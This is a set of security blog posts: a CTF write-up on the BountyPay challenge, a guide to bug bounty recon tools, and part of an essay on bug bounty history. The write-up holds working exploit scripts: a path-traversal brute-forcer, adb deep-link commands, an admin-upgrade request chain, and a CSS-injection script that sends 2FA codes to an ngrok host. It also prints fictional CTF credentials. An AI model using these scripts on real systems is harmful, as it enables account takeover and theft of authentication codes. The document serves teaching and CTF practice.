Now that we control part of the API, we can attempt pivoting inside the BountyPay infrastructure through the app subdomain. 

From the subdomain enumeration step, I find that the API had a redirect endpoint. Fetching it using curl returns the message URL parameter not set. Through descriptive error messages, the API gives enough hints on how we should talk to it. The following screenshot shows these error messages.

API errors
API errors

Besides, the API allows redirection to some internal subdomains, including the software.bountypay.h1ctf.com asset, as shown in the following screenshot.

API redirects to the software subdomain directories
API redirects to the software subdomain directories

In the Directory brute-forcing section above, I mentioned how the software subdomain was restricted. What if we could access it using this redirection? 

Using the following token value, we can perform path traversal and call the API’s /redirect endpoint through the BountyPay customer application. I used the following session cookie.

{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/blah","hash":"de235bffd23df6995ad4e0930baac1a2"}

This time, the response status code is 404, not 401 anymore. The following screenshot demonstrates that.

Bypassing the Authorization layer on the software subdomain
Bypassing the Authorization layer on the software subdomain

To automate the exploitation process, I write the following script to perform a light bruteforce using the raft-small-directories-lowercase.txt wordlist.

from base64 import b64encode
import requests
from sys import argv

url = "https://app.bountypay.h1ctf.com/statements?year=2020&month=04"

cookies = {}

def exploit(i):
    token = '{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/%s&x=","hash":"de235bffd23df6995ad4e0930baac1a2"}' % i

    token = b64encode(token)
    cookies["token"] = token

    r = requests.get(url, cookies = cookies)
    if "404 Not Found" not in r.text:
        print i

f=open(argv[1],'r')
wordlist = f.read().splitlines()
f.close()

for i in wordlist:
    exploit(i)

Running the script with python api.py raft-small-directories-lowercase.txt reveals the existence of a folder named uploads, which contains the BountyPay.apk file. The following request with BurpSuite confirms what the script has just found.

BountyPay.apk file hosted on the software subdomain

Exploiting the Android Application

The following part of this CTF writeup will explain multiple techniques you can use to hack Android applications.

Luckily, the APK file is directly accessible from outside, which makes it easy to download directly from the software subdomain. From there, I run d2j-dex2jar to generate a JAR file from the APK. Then, I use JD-GUI to load the JAR file and inspect the source code. Furthermore, I run apktool to decompile the application’s archive.

The first screen of the application asked for a username and an optional twitter handle. 

Welcome screen

Upon clicking on Next, the PartOneActivity appeared.

PartOneActivity

An empty page appears with a button. When clicked, it shows hints regarding deep links and parameters.

Inside the decompiled folder generated earlier using apktool, the AndroidManifest.xml file reveals that this activity has an intent filter, which means that it is directly reachable. Besides, the data URI is expected to be of the form one://part.

AndroidManifest.xml file showing the intent filter of PartOneActivity

Furthermore, looking at the source code using the previously mentioned JD-GUI shows that the activity accepts one parameter named start. When it holds the value PartTwoActivity, the application sends an intent to the PartTwoActivity activity. This is a screenshot of the code responsible for this behaviour.

Source code of the PartOneActivity

Using the Activity Manager (am for short), I can send the expected deep-link to land on the PartTwoActivity activity. First, I extract the BountyPay app’s package name using adb shell pm list packages -f bounty. Then, the following command makes the application jump to the PartTwoActivity activity.

adb shell am start -n bounty.pay/bounty.pay.PartOneActivity -d "one://part?start=PartTwoActivity"

PartTwoActivity

Same as the previous one, this activity is blank, at least at first. Inspecting the Android Manifest file once again confirms that it also accepts an intent, this time with a scheme set to the value two.

The code expects two parameters, two and switch. When they hold the values light and on respectively, I can show some hidden UI components. The following screenshot highlights this part.

Source code of PartTwo Activity

Again, using the Activity Manager, we send an intent to this activity.

adb shell am start -n bounty.pay/bounty.pay.PartTwoActivity -d "two://part?two=light\&switch=on"

A hash value and a user input get revealed.

PartTwoActivity shows a hidden hash and input field

Cracking the hash on crackstation gives the value Token. Besides, inspecting the source code shows that the activity expects the input to start with the prefix X-. The second part comes from the param1DataSnapshot variable. The following code is responsible for such behaviour.

Source code of PartTwoActivity

At first, I had no idea where to get the value of the param1DataSnapshot variable. Therefore, I patched the user_created.xml file in the shared_prefs folder to include the line <string name="PARTTWO">COMPLETE</string>. Then, I directly accessed the third activity. However, revisiting the challenge and taking the hash value as a hint, I simply entered the value X-Token in the text box, which effectively allowed me to access PartThreeActivity.

PartThreeActivity

Inspecting the Android manifest for this activity reveals that it expects a scheme with the value three. Besides, reading through the Java code shows that it is expecting three parameters; three, switch and header. When they hold the values base64(“PartThreeActivity”), base64(“on”) and X-Token respectively, the activity will show some hidden components. This is the code responsible for that.

Source code of PartThreeActivity

The following command provides the activity with the right deep-link to show the hidden components.

adb shell am start -n bounty.pay/bounty.pay.PartThreeActivity -d "three://part?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token"
PartThreeActivity shows a hidden input field

CongratsActivity

When inspecting what changed in the /data/data/bounty.py/shared_prefs/user_created.xml file, I can see a new element containing a hash with the value 8e9998ee3137ca9ade8f372739f062c1. When I use it in the newly visible input, I land on the CongratsActivity activity, with a button containing a hint that the newly revealed hash will be useful in the next steps.

Congrats activity!

Expanding access using the new hash

Based on the performPostCall function from the source code of the PartThreeActivity activity, I notice that the API accepts a POST request and an X-Token header containing the value I have just leaked from the user_created.xml file.

POST call to the API from the Android application source code

API enumeration

I conduct a light brute force, this time using the X-Token header and the POST request. The following command reveals the endpoint /api/staff which returns a 400 status code with the error Missing Parameter.

ffuf -w raft-small-directories-lowercase.txt -u https://api.bountypay.h1ctf.com/api/FUZZ -X POST -mc all -fc 404 -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"

Because this is a REST API as mentioned in the API’s home page, I attempt to change the method from POST to GET, which reveals two staff members along with their name and staff_id attributes.

List of staff users with their attributes

Using the POST request with those attributes shows the error Staff Member already has an account. However, sending a dummy staff_id value returns the error Invalid Staff ID. This means two things:

  • I have found the right parameters
  • But, I need a staff user who is not registered yet
I need a new staff user

OSINT and staff access

BountyPay owns the Twitter account @BountypayHQ, which follows the user @SandraA76708114 who has just started working on BountyPay. Maybe she hasn’t been registered in the staff application yet? 

On a tweet of hers, she posts her staff_id, which is what we need. As a result, the following screenshot shows her plaintext credentials sandra.allison / s%3D8qB8zEpMnc*xsz7Yp5 for the staff application.

Credentials of the staff member Sandra

Privilege escalation

This part of the CTF writeup is tricky, so make sure you stay focused as I try my best to simplify the privilege escalation process.

Sadly, Sandra can’t perform privileged actions. She can only display one ticket, report pages to the admin and update her profile name and avatar.

Javascript code analysis

In the /js/website.js JavaScript file, the endpoint /admin/upgrade?username= seems promising. However, Sandra doesn’t have the right to execute it. Besides, the Javascript code shows tabs in the UI based on their respective HTML class. When the hash location contains one of the classes, a click gets triggered. 

The update profile feature

Testing the update feature reveals that it is possible to insert HTML classes in the avatar div. For example, setting the avatar value to upgradeToAdmin myclass, Sandra’s avatar would contain the classes upgradeToAdmin and myclass as shown below.

Multiple arbitrary HTML classes can be injected into the avatar

The login page

Testing the login page reveals that it accepts the parameter username, which gets inserted into an input field named username. The path should look like /?template=login&username=USERNAME. This will be useful when I combine everything together. 

Loading multiple templates

During the testing of the template GET parameter, it was possible to include multiple templates using an array. For example, the path /?template[]=login&template[]=home would load both the login and the home templates in one page as shown below.

Loading multiple templates using an array of templates

Combining the observed behaviours

What if we can cause the admin to trigger the upgrade feature using the observed behaviours? To achieve that, we can inject the upgradeToAdmin and the tab4 classes into Sandra’s avatar. To reflect the injected classes into the admin’s page, I can load the ticket template with the ticket_id parameter. Besides, I can load the login page with the username parameter set to sandra.allison to populate the username parameter with Sandra’s username when the click triggers. To trigger the click, I can append the #tab4 hash to the path. Finally, I can report the rendered page to the admin so that the upgrade request triggers on his/her end. The following single request can achieve the desired outcome.

`/?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison&template[]=admin#tab4`

To report this page, I base64 encode the malicious path above and send it. The following screenshot shows the new session cookie with the admin privileges in the HTTP response.

Successfull privilege escalation gives the admin session cookie

Notice that a new Admin tab appears, which contains the credentials of Marten Mickos marten.mickos / h&H5wy2Lggj*kKn4OD&Ype.

Marten Mickos credentials in the newly visible admin tab

2FA bypass

The 2FA kicks in once again when I log in as Marten. However, using Oliver’s challenge and challenge_answer from the first 2FA bypass works for Marten as well. A new session cookie is provided which allows access to the customer app as Marten. Therefore, I can finally see May’s bounty transaction.

Finally seeing May’s bounties transaction

2FA payment bypass using CSS injection

The final stage of this CTF writeup explains how you can detect and use CSS injection to exfiltrate the 2FA code from an internal HTML page.

Unfortunately, the payment requires yet another layer of protection using 2FA. Part of this feature involves a POST request containing a parameter named app_style, which points to an attacker-controlled CSS file. 

Detecting the CSS injection vulnerability

Pointing this parameter to a server that I control reveals from the User-Agent HTTP Header corresponds to the Chromium headless browser as shown in the screenshot below.

Chromium browser performing the callback

Because the CSS style doesn’t affect the resulting page, one hypothesis would be that the Chromium browser loads an HTML page and applies my malicious CSS style.

To validate this hypothesis, I host the following CSS file on my server. If the body element exists, which is most luckily the case, I will receive a callback on my server to /body. I use ngrok to handle the incoming requests.

body{

    background: url("https://647832432.ngrok.io/body");
}

Sure enough, I successfully get the callback as shown in the following screenshot.

Callback received indicating that the body element exists in the target HTML page

Discovering the HTML content

I wrote the script below to assist me at guessing virtually any part of the target HTML page. It takes a string value and an attribute name as input, generates the malicious CSS file and sends it to the server. For example, running python css.py c class would trigger a callback for every element which has cX as part of its class. X is configured to be a character from the charset variable.

The line temp = code+i can be changed to temp = i+code to search backwards.

import string
import requests
from sys import argv

ngrok = "https://8677932a733b.ngrok.io/"

url = "https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba"

cookies = {"token":"eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9"}

css_url = ngrok+"/me.css"

data = {"app_style":css_url}

charset = string.ascii_lowercase+string.ascii_uppercase+string.digits+"+/=-_&@*$ "

def gen_css(code,attrib):
    out = ''
    payload = '''
    *[%s*="%s"]{
        background: url(%s%s);
    }'''

    for i in charset:
        temp = code+i
        out += payload % (attrib,temp,ngrok,temp)
        out += '\n'

    f=open('me.css','w')
    f.write(out)
    f.close()

code = argv[1]
attrib = argv[2]

gen_css(code,attrib)

r = requests.post(url, data=data, cookies=cookies)

Systematically probing the HTML using the script above, I find that there is a div with a class named challenge-area and seven input elements with the name code_1 through code_7

The following screenshot reveals the callbacks corresponding to the input fields.

Receiving the code input fields’ callbacks

Moreover, it seems that these codes are included inside the div with the class challenge-area because the following CSS file gives a callback.

div[class^=challenge-area] input[name=code_1]:nth-child(1){

  background: url("https://14644d56763a.ngrok.io/1");
}

Furthermore, tweaking the payload variable from the script above to match the exact occurrence of a needle reveals that each code_x element contains only one character, which suggests that the code might be 7 characters long. That explains why the UI has a maxlength attribute set to 7 for the 2FA input field.

The final exploitation

Once again, I write the following dirty script to perform end-to-end exploitation. It performs the following:

  1. Builds a CSS file which contains all the possible CSS selections targeting the code input fields.
  2. Sends the CSS file and grabs the challenge and the challenge_timeout values from the HTML response.
  3. Extracts the 7 characters and builds a full string out of it. 
  4. Sends the exfiltrated challenge_answer along with the challenge and the challenge_timeout values to the server.

I configured Step 4 to run through my Burp instance to see the HTTP request and response.

import string
import requests
from sys import argv
import os
from time import sleep
from base64 import b64decode
import re

proxies = {"http":"http://localhost:8080","https":"https://localhost:8080"}

ngrok = "https://6b5e287e0024.ngrok.io/"

url = "https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba"

cookies = {"token":"eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9"}

css_url = ngrok+"/me.css"

data = {"app_style":css_url}

printable = string.ascii_lowercase+string.ascii_uppercase+string.digits+"+/=-_&@*$ "

regex_challenge = 'name="challenge" value="([a-zA-Z0-9]{32})"'

regex_timeout = 'name="challenge_timeout" value="([0-9]+)"'

def gen_values():
    out = []
    for i in printable:
        out.append(i)
    return out

def gen_css():
    out2 = ''
    payload = '''
    div[class*=challenge] input[name=code_%d][value="%s"]:nth-child(%d){
        background: url(%s%s);
    }'''
    out = gen_values()

    for position in range(100):
        for elem in out:
            out2 += payload %(position,elem,position,ngrok+str(position)+"/",elem)
            out2 += '\n'

    f=open('me.css','w')
    f.write(out2)
    f.close()

def run():
    #delete ngrok logs to start fresh
    delete_requests = 'curl "http://127.0.0.1:4040/api/requests/http" -XDELETE -H "Content-Type: application/json"'
    os.system(delete_requests)

    #generating the css file
    gen_css()

    #send the malicious css file
    r = requests.post(url, data=data, verify=False, cookies=cookies)

    challenge = re.search(regex_challenge, r.text).group(1)

    timeout = re.search(regex_timeout, r.text).group(1)

    #wait a bit for the callbacks to arrive
    sleep(1)

    #dirty command to parse ngrok callbacks and save results to a file
    command = 'curl "http://127.0.0.1:4040/api/requests/http?limit=50" -H "Content-Type: application/json" | gron | grep "request.uri" | grep -v "me.css" | cut -d"\\"" -f2 > parsed'
    os.system(command)

    f=open('parsed','r')
    lines = f.read().splitlines()
    f.close()

    #constructing the 2FA code
    lines.sort()
    code = ''.join(c.split('/')[-1] for c in lines)

    #sending the 2FA code to confirm the payment
    challenge_data={"challenge_timeout":timeout, "challenge":challenge, "challenge_answer":code}

    r = requests.post(url, data=challenge_data, verify=False, cookies=cookies, proxies=proxies)

run()

Lo and behold, I finally get the satisfying HTML response!

CTF challenge solved!

Conclusion

This CTF write-up describes a smooth path. However, the reality was totally different. The write-up doesn’t include rabbit holes I fell for when I was looking for ways to pivot inside the infrastructure. It doesn’t mention the long hours trying to figure out how to solve the Android challenges, and it certainly doesn’t talk about the sleepless nights trying to escalate the privileges, code the scripts and debug everything!

I also had the pleasure to work with a friend, and I now understand why hackers discover such novel bugs during the live hacking events!

If you are new to hacking and want to start doing bug bounties, read my Ultimate guide for the OWASP Top 10, which should give you a kickstart in this awesome industry.

As always, stay curious, keep learning and go find some bugs!

Bug bounty tools from enumeration to reporting

bug bounty tools

Hello ethical hacker and welcome to the world of hacking and bug bounty hunting. Today, you will learn the bug bounty tools I use when I hunt for vulnerabilities, from reconnaissance, to subdomain enumeration, to finding your first security vulnerabilities. Every craftsman has its toolbox and a bounty hunter is no different. However, it’s easy to get lost in the growing number of bug bounty tools which get published by the community every day. That’s why one of the goals of this article is to provide you with the minimal tools which provide the maximum returns.

Bug bounty tools for general reconnaissance

When you hunt for bugs, the first thing you will do is recon. This step is critical because if you don’t do it well, you will have a hard time down the road. And if you focus primarily on it, it will waste your time. So you must keep a good balance since you are trading your time when you hunt for bugs.

The goal of recon is to gather as much data as possible from about the company you target. 

Unlike a red team assignment, you won’t phish employees since targeting them is out-of-scope in. That’s why I like to focus on finding subdomains, IP ranges, URLs, API keys, etc. To do that, I use the following tools.

Amass as a bug bounty tool for general reconnaissance

OWASP Amass is a swiss-army knife for recon. It performs open-source intelligence and active reconnaissance using various techniques. You can use it to map the external assets of your targets to dress your attack surface and craft your plan of attack. It’s a well-maintained project and you can install it in many ways. I prefer to run it on Docker. It also generates detailed graphs and interfaces with other tools such as Maltego, a famous open-source intelligence software.

Amass has helped many bug bounty hunters find new assets and report vulnerabilities. This tweet is proof of my claims.

Amass is one of the most useful bug bounty tools
Amass is one of the most useful bug bounty tools

GitHub: A search engine and a great bug bounty tool

You can use GitHub to collect a lot of data about your target. Most of the time, you will find sensitive information leaks, from API keys to passwords. This is possible because employees accidentally push code without proper verification. Unfortunately for the company, these commits occasionally contain hard-coded credentials which allow you to access deep services.

Some bug bounty hunters specialize in this area and find highly impactful bugs. Although many tools have been developed to enumerate repositories and find sensitive data, they don’t cover the whole search space. That’s why those hunters invest considerable time conducting manual research. One of the main wizards in this area is th3g3ntl3man and he has made an awesome talk about Github recon on the Bugcrowd university videos. I could have shared a screenshot of some queries, but I’m afraid it will disclose sensitive data.

Shodan is your bug bounty tool for public devices enumeration

While GitHub is the search engine for code repositories, Shodan specializes in internet-connected devices. In other words, if there is a public IP exposing a service on a certain port, it is available for Shodan index. You’d be surprised by the number of exposed services there are online. From IP cameras with default credentials to industrial control systems, Shodan allows you to access all of them. There is a great Defcon talk by Dan which is both scary and amusing at the same time. I recommend you watch it to see how exposing services to the public can be so dangerous.

Shodan supports many operators as well. As a bug bounty hunter, you can use them to build your dorks and answer key questions about your target from a network perspective. You can get an idea of the top ports, the IP ranges, the ASN numbers, the country locations, etc. There is also an API which you can use to automate your recon process.

Shodan's Explore feature: It's scary to find such devices publicly available
Shodan’s Explore feature: It’s scary to find such devices publicly available

Wayback machine

What goes online stays online, as long and gets indexed. That’s because there are projects such as the Wayback Machine, which indexes and stores copies of web pages, books, audio, videos, images, etc. The project exists to provide knowledge for everyone. This is useful from a reconnaissance perspective because you can dig into previous copies of a target looking for any information disclosure, old URLs, removed files, etc. 

However, the process of going through tons of indexed content is tedious. Luckily, there are many tools out there which automate the process. I use waybackurls and gau, which give somewhat the same results.

Google hacking database

I’m sure that all of you jump to Google when you first want to learn more about the target you want to test. However, do you make use of google dorks? These are queries that use Google search operators to return precise results, such as only PDF files of a certain website, or administration panels of a certain technology in a range of subdomains, or any other need you might have. The only thing that limits you is your imagination. 

Even if you don’t have enough imagination, people have been sharing their google dorks for ages. You can find them in the Google Hacking Database (GHDB) and get inspiration. For example, if you found that the target uses a certain technology, you can look for it on that database to see previous dorks which might be helpful in your recon process.

You should add GHD to your bug bounty tools
You should add GHD to your bug bounty tools

These are some resources which can serve as bug bounty tools when you perform recon. However, there are certainly many other resources and one article simply cannot include them all.

Bug bounty tools for subdomain enumeration

So far, we have seen how you can perform general reconnaissance. But the hacking process involves enumeration in all stages. And one of the first stages is subdomain enumeration, which aims at finding as many subdomains as possible. The community has developed many bug bounty tools to assist you during this exercise. 

Assetfinder

I’ve already mentioned this tool in my bug bounty methodology. It uses multiple sources like certificate transparency, Facebook, Virustotal, etc. It works out of the box, but if you want more results, you can configure the API keys for the services which need one. 

Provided that you have installed and configured Go, the command is simple, you just have to pipe your target to the tool.

echo domain.com | assetfinder --subs-only

Below is a screenshot demonstrating part of the output of assetfinder against tesla.com

assetfinder output for subdomain enumeration
assetfinder output for subdomain enumeration

 OWASP Amass

We’ve talked about OWASP amass at the beginning of this article as a general bug bounty tool for reconnaissance. Well, you can use it for subdomain enumeration as well. It supports passive and active enumeration, performs DNS resolution and can also brute-force the subdomains based on the wordlist of your choice. The user guide is detailed and gives example commands that you can run. The simplest and quickest subdomain enumeration command would be:

amass enum -d domain.com -passive

Google

You can use Google dorks to find subdomains as well. To do that, you can use the site operator. An example would be site:domain.com. Once you get the results, you can enumerate the subdomains one by one using negative search. For example, suppose we found sub.domain.com, you can eliminate that result using: site:domain.com -site:sub.domain.com. Repeat this process until you no longer get any results from Google.

As you may have noticed, the process is tedious and takes some time. Luckily, there are tools such as theHarvester and sublist3r which you can use for such queries. However, bear in mind that they can get rate limited, which might return only a subset of the existing subdomains.

Waybackurls and gau

We have seen how digging into indexed content is important during the general reconnaissance phase. Well, it is also equally important when it comes to subdomain enumeration. I find it useful to run waybackurls and gau to grab potential subdomains which might go under the radar of amass. It’s always useful to combine multiple tools to get the most exhaustive results. 

The commands are simple and easy. For either waybackurls or gau, you simply pipe your target domain to them. I like to use unfurl as well to extract the domain part from the result.

echo domain.com | waybackurls | unfurl domains
echo domain.com | gau | unfurl domains

This is part of the output of waybackurls against tesla.com

waybackurls and unfurl bug bounty tools can work together when you perform subdomain enumeration
waybackurls and unfurl bug bounty tools can work together when you perform subdomain enumeration

Altdns

When it comes to enumeration, you can boost your results using brute force. To do that, I usually combine keywords related to my target. Using Altdns, I quickly generate permutations which usually get used by companies. For example, suppose the company’s main domain is XYZ. Well, the wordlist would contain subdomains like staging-XYZXYZ-dev and the like. 

The command is straightforward, you run the tool while providing the domains file and the words you want to use for permutations.

altdns -i domain.txt -o output.txt -w words.txt

Massdns

After generating a list of potential subdomains, I use massdns to resolve the resulting list for valid and existing subdomains. A word of warning though, this process can yield false positives, depending on the quality of the DNS resolvers you are using. You can find more about this problem on this GitHub issue

Rather than using the resolvers.txt file provided by massdns, you can get a list available on public-dns.info. Then, the command is simple, just use the massdns command with the list of resolvers and the altdns wordlist you have generated before:

massdns -r resolvers_file -t A altdns_wordlist -w results.txt

Bug bounty tools for port scanning

When you have a list of subdomains from the subdomain enumeration phase, you can start looking for running services. The technical word for that is port scanning. There are many tools which can assist you during this phase. 

Nmap

When you have a small list of subdomains, let’s say below 50, you can use Nmap to perform port scanning. It allows you to not only enumerate the running services but also fingerprint the server you are targeting. Besides, Nmap has a set of scripts which you can use to scan those services. For example, you can perform directory bruteforcing for HTTP services, or banner grabbing for SSH services, etc. The following command takes a list of subdomains as input, probes all the ports numbers (from 0 to 65535) while scanning the resulting services using their respective Nmap scripts. Finally, it saves the results into a sile named scan.

Nmap -p- -sC -o scan -iL subdomains.txt

masscan

Once you start working with big lists of subdomains, Nmap will take forever. That’s why I prefer to run masscan instead. It’s blazingly fast, but you need to have enough network bandwidth. It’s capable of scanning huge IP ranges. From the Readme file in the Github repository:

[…]the program is really designed with the entire Internet in mind. 

From masscan’s documentation

However, it only accepts IP addresses, no subdomains. Therefore, you have to resolve the IP addresses before running masscan. The following bash one-liner can do just that:

cat subdomains.txt | xargs -n1 host | grep "has address" | cut -d" " -f4 | sort -u > ips.txt

Then, you can run masscan. The following command takes the ips.txt file as input, it probes all port numbers, it uses a rate of 10k packets per second and it outputs the results into the file scan.txt

masscan -iL ips.txt -p0-65535 --rate=10000 -oL scan.txt

Shodan

Port scanning is a loud action from a network perspective. It triggers Intrusion Detection Systems very easily. If you want to avoid detection, you can leverage Shodan to see what ports are open and even gather information about the services that are running. That’s because Shodan continuously performs port scanning for you. You can simply type the IP or range of IP addresses you want, and it will give you the results. I recommend you read about the Shodan operators which are a must. For example, the following screenshot shows the top services running on the whole ASN number AS36647 owned by YAHOO. 

Bug bounty tools for Directory Bruteforcing

Directory bruteforcing allows you to discover hidden directories which are referenced neither in JavaScript files nor in Internet archives such as the Wayback Machine. There are many tools which perform such a task.   

ffuf

Currently, I’m using ffuf to perform directory bruteforcing. It is fast, reliable and capable of more than just looking for directories. The Readme file explains all the capabilities, but let’s focus on directories for now. 

In its simplest form, ffuf takes a wordlist and sends HTTP requests to your target application. The following command illustrates that:

ffuf -w wordlist.txt -u https://url.of.the.application/FUZZ

The term FUZZ is a special placeholder that ffuf uses to insert the elements of your wordlist.

Burp Suite Intruder

When I am analyzing a feature using BurpSuite, I find it practical to run the intruder to discover some endpoints without having to leave Burp. For that, I use the Intruder. The community edition offers only one thread, which is not useful in my opinion. However, the Pro version allows you to use as many threads as your machine can handle. This Intruder documentation from the authors of BurpSuite gives you all you need to start using this awesome tool.

Other directory bruteforcing tools

There are so many other tools that perform directory bruteforcing. Many bug bounty hunters use Gobusterdirsearchwfuzz or similar ones. You can experiment with all of them and choose the one that suits your goals and taste.

Bug bounty tools for Web application testing

Ok, now that you have a list of web applications, it’s time to focus on one of them and hunt for those bugs! However, without the proper tools, you won’t find any. Here are the main tools I use, and so you should. 

Burp Suite

This is the de facto when it comes to pentesting a web application. It is a suite of tools which assist you during your hacking. For example, it allows you to see all the HTTP requests and Websockets thanks to the Proxy tool. You can play with them with the Repeater tool to find security vulnerabilities. If you want to brute force a parameter, a header or anything in a request, the Intruder is your friend. BurpSuite supports extensions as well. You can code your own as I did with GWTab, or download many of them from the BApp Store using the Extender tool.

You can start using the Community Edition, which is free. If you want to benefit from the Scanner tool and some extensions, you can buy the Pro version and get a yearly license. You can earn a three-month license if you have a positive signal and 500 reputation points on HackerOne.

Learn how to download it, install it and configure it with this video I made just for you.

Zed Attack Proxy

ZAP is the free and open-source alternative to BurpSuite. It’s a flagship of the OWASP that can do almost all what Burp does, plus some more. For example, it offers the cool Heads Up Display (HUD) which allows you to use ZAP without leaving your web browser. It comes also in many packages, including docker, which makes it convenient for automated testing. Unlike BurpSuite Community Edition, Zaproxy allows you to run active scans. 

ZAP supports extensions as well, which you can download and update from the Marketplace included in its user interface. You can install it and configure it with this video. Besides, there is a great video on how to use ZAP, including how to use the HUD.

Conclusion

When you are doing bug bounty hunting or penetration testing, you will definitely use some of these tools I have just listed. If you are not familiar with them, take some time to learn how to use them and you will thank me later. However, while using the proper tools can play a key role in finding great bugs, it’s worth mentioning that they will never be a substitute for your brain. They exist to assist you, not replace you. That’s why it’s important to invest in your knowledge.

These are the tools I like to use when performing reconnaissance and subdomain enumeration. I hope you found this content helpful. Don’t forget to like, subscribe and share this content because it supports me to continue sharing such content.

As usual, stay curious, keep learning, and go find some bugs!

Bug bounty: What is it and what to expect?

In this article, you will explore the bug bounty ecosystem and understand what to expect from it based on my experience during the last 4 years.

If you are barely starting in the infosec industry and want to start doing bug bounties, I recommend you check out the OWASP Top 10 vulnerabilities in practice, which is a guide to the basics of web application security testing. For now, let’s get you ready to start hacking and getting paid. But first, let’s understand the whole picture.

Imagine a world where companies come to you and ask you to hack them. In return, they will pay you whenever you find a unique vulnerability. And the best part, you don’t have to neither leave your home nor stick to a time schedule!
It sounds unrealistic, right? Well, let me tell you that it’s now a real job, not a fantasy anymore!

When bug bounties didn’t exist

Let’s travel 50 years back. Home computers barely start entering the market. Phone phreaking at its golden age. Hackers painted as cybercriminals and weird people who think outside the norm to cause trouble. The US government passes laws which make it a crime to break into computer systems. I wasn’t yet born, and I’m honestly grateful for that.
Unfortunately, companies neglected hackers and continued bringing products to the world without proper security testing. The situation got to a point where the real cybercriminals saw benefits in compromising the vulnerable companies, and hacking companies they did!

Bug bounty programs to the rescue

Luckily, some major companies felt the need to embrace the hacker spirit and leverage the hacking skills of independent individuals.

The birth of the “bug bounty” term

Back in 1995 the Netscape Communications Corporation company came up with the term “bug bounty” for the first time. Do you remember the Netscape browser? You probably don’t, but it’s the grandfather of modern Web Browsers like Chrome and Firefox. Well, back in the days, the company launched a bug bounty program for the Netscape Navigator 2.0 Beta browser. We had to wait for about 15 years before major companies started creating their own programs. We are talking about Google and Facebook in about 2011. Yahoo! Followed in 2013.

Early baby steps

However, this model had its limitations due to the fact that those programs weren’t mature enough.

First, the rewards were as modest as a t-shirt! Don’t get me wrong, I have nothing against t-shirts, I was so grateful to receive one from SoundCloud after I found a bug, but let’s just say that there are many other factors which drive hackers. According to the 2020 HackerOne Hacker report, 53% hack for money.

Secondly, the programs were limited to only a few companies, meaning that hackers didn’t have enough choice. You either hack Facebook or go to jail hacking others. And this is a big downside because 68% of bug bounty hunters hack for the challenge and the opportunity to learn, according to the same report.

Last but not least, hackers didn’t have a middleware party to defend their bugs if the program didn’t play fair. This doesn’t happen very often, but it can lead to surprising outcomes. In 2013, a hacker wrote a poorly-written report to Facebook about a bug which allowed an attacker to post on an arbitrary Facebook user’s timeline. When Facebook didn’t acknowledge the vulnerability, he then posted a message on Mark Zuckerberg’s timeline. Consequently, he wasn’t eligible for a reward. This is a common issue; when working as a triage analyst at HackerOne, I can’t count the number of poorly-written reports that I had to handle. But of course, it’s not an excuse not to give it enough analysis time and honor the hacker’s effort.

The rise of Bug bounty platforms

With all the limitations that traditional bug bounty programs suffered from, there was a need for middleware in the cybersecurity market to help hackers and companies collaborate with each other. Naturally, bug bounty platforms were born to shape a new era in cybersecurity. HackerOne and Bugcrowd were among the first players, but we’ll leave details about each one to another episode. However, they all share pretty much the same core features.

Gamification of hacking

Hacking with bug bounty platforms is like playing a video game. We find vulnerabilities and increase our metrics, which increases our ranking in the leaderboard and opens the door to new programs, new challenges and new experiences. The best part is that we get paid along the way. Programs also get rated, the more active and rewarding they are, the more luckily talented hackers will help them stay secure. It’s a win-win situation.

Bug bounty platform HackerOne 90 Days Leaderboard
Bug bounty platform HackerOne 90 Days Leaderboard

Bug bounty challenges

More and more companies are joining bug bounty platforms, and so it is for people who want to hack. The problem is that not many of them have proper hacking knowledge. It’s easy to see how this is unbalanced. In fact, a bug bounty ecosystem relies on the abundance in both good programs and talented hackers. That’s why those platforms are developing more and more educational content in the form of videos, mini-challenges and CTFs. An example of that is the LevelUp conference which Bugcrowd organizes each year. It hosts talks from great hackers who share updated hacking knowledge. Another example is HackerOne’s hacktivity and the hacker101 website where Hackerone publishes new disclosed reports and provides a free playground for hackers to solve challenges and get private invites.

Bug bounty Hacker101 CTF challenges
Bug bounty Hacker101 CTF challenges

Bug bounty events

Another interesting advantage those platforms bring to the table is live hacking events. They gather the best hackers for a weekend to hack a target onsite. It’s a great experience which brings people together and produces new meaningful relationships. I once received an invitation but I turned it down due to some family health struggles I was going through. It was a big disappointment for me not to attend it, but I didn’t have a choice in that situation. Personally, family comes first.

The Bug bounty community

So far, bug bounty platforms are emerging and they are doing a great job at educating the next generation of hackers. Hunting for bugs has become a trend of its own and the community is growing so fast. In fact, about a third of the hacking crowd have less than 2 years of experience according to the HackerOne Hacker report of 2020. Naturally, the community started building its own knowledge base. New blogs, YouTube channels, live streams and podcasts started bringing even more educational and entertaining content. Allow me to talk about three valuable things that the community has produced.

Bug bounty methodologies

Hacking is an Art, each hacker has a perspective, a set of skills and experiences which shape the methodology he or she follows when approaching a target. Consequently, it is so easy to get lost in the number of clever methodologies out there. Jason Haddix was one of the early hackers who shared his bug bounty methodology, which is now at its 4th version.

Bug bounty tools

Every craftsman is nothing without a proper toolbox, and hackers are no exception. The bug bounty community is producing so many tools that you will have a hard time tracking. By the way, that’s a major reason why Jason’s bug bounty hunting methodology has been revised four times since 2015.

Bug bounty books

For those who enjoy reading, there are many books which will teach you just how to get into the game of bug bounties. One of the first ones was Peter’s Web hacking 101. I downloaded a free copy when signing up with HackerOne, and boy was it helpful! Shout out to Peter Yaworsky from here!

For those who don’t enjoy reading, you better get used to it if you want to survive in this career.

Bug bounty benefits

Bug bounty is proving its spot in the cybersecurity market, that’s for sure. It is becoming another way of securing companies through an increasing crowd of hackers. It is useful in many ways.

Bug bounty money

The rise of bug bounty platforms and the increasing public breaches led to a significant increase in the rewards. I receive now and then emails from HackerOne telling me that a program has increased their rewards either for a promotion period or indefinitely. In one live hacking event, payouts surpassed a Million dollar amount! Think about that! A million dollar in just three days!

